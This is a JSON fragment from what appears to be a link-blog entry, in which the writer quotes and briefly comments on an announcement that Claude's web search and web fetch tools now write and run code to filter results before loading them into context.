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  "commentary": "Interesting new feature in the Claude API - yet more evidence that code execution really is the ultimate swiss army knife for improving the way LLMs work with data:\r\n\r\n> Alongside Claude [Opus 4.6](https://www.anthropic.com/news/claude-opus-4-6) and [Sonnet 4.6](https://www.anthropic.com/news/claude-sonnet-4-6), we're releasing new versions of our [web search](https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool) and [web fetch](https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-fetch-tool) tools. Claude can now natively write and execute code during web searches to filter results before they reach the context window, improving its accuracy and token efficiency. [...]\r\n>\r\n> To improve Claude\u2019s performance on web searches, our web search and web fetch tools now automatically write and execute code to post-process query results. Instead of reasoning over full HTML files, Claude can dynamically filter the search results before loading them into context, keeping only what\u2019s relevant and discarding the rest.\r\n\r\n*(Draft post I forgot to publish until March 26th!)*",
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